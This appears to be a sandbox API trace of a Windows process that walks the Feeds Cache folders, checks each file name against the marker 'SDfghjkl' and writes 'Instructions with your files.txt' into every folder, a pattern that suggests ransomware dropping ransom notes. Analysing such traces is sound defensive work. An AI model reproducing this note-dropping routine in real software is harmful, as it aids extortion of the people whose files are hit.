[0132.159] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
[0132.159] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 75
[0132.159] StrStrIW (lpFirst="fwlink[1]", lpSrch="SDfghjkl") returned 0x0
[0132.159] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
[0132.159] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\Instructions with your files.txt") returned 98
[0132.159] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.161] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.162] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.162] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.162] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.162] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.162] CloseHandle (hObject=0x11c) returned 1
[0132.162] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.162] GetProcessHeap () returned 0x810000
[0132.162] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.162] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1
[0132.162] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned 65
[0132.162] GetProcessHeap () returned 0x810000
[0132.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.162] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*") returned 67
[0132.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.163] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\.") returned 67
[0132.163] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.163] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.163] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\..") returned 68
[0132.163] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.163] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.163] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini") returned 77
[0132.163] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.163] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
[0132.163] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 75
[0132.163] StrStrIW (lpFirst="fwlink[1]", lpSrch="SDfghjkl") returned 0x0
[0132.163] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
[0132.163] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\Instructions with your files.txt") returned 98
[0132.163] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.163] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.164] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.164] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.164] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.164] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.164] CloseHandle (hObject=0x11c) returned 1
[0132.165] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.165] GetProcessHeap () returned 0x810000
[0132.165] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.165] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1
[0132.165] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned 65
[0132.165] GetProcessHeap () returned 0x810000
[0132.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.165] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*") returned 67
[0132.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.166] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\.") returned 67
[0132.166] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.166] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.167] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\..") returned 68
[0132.167] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.167] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.167] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini") returned 77
[0132.167] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.167] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
[0132.167] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 75
[0132.167] StrStrIW (lpFirst="fwlink[1]", lpSrch="SDfghjkl") returned 0x0
[0132.167] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
[0132.167] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\Instructions with your files.txt") returned 98
[0132.167] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.167] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.168] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.168] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.168] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.169] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.169] CloseHandle (hObject=0x11c) returned 1
[0132.169] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.169] GetProcessHeap () returned 0x810000
[0132.169] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.169] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.169] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini") returned 68
[0132.169] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.169] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa9d0d0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
[0132.169] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat") returned 66
[0132.169] StrStrIW (lpFirst="index.dat", lpSrch="SDfghjkl") returned 0x0
[0132.169] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1
[0132.169] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD") returned 65
[0132.169] GetProcessHeap () returned 0x810000
[0132.169] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.169] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*") returned 67
[0132.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.169] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\.") returned 67
[0132.169] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.169] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.169] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\..") returned 68
[0132.169] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.169] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.170] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini") returned 77
[0132.170] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.170] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
[0132.170] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 75
[0132.170] StrStrIW (lpFirst="fwlink[1]", lpSrch="SDfghjkl") returned 0x0
[0132.170] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
[0132.170] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\Instructions with your files.txt") returned 98
[0132.170] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.170] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
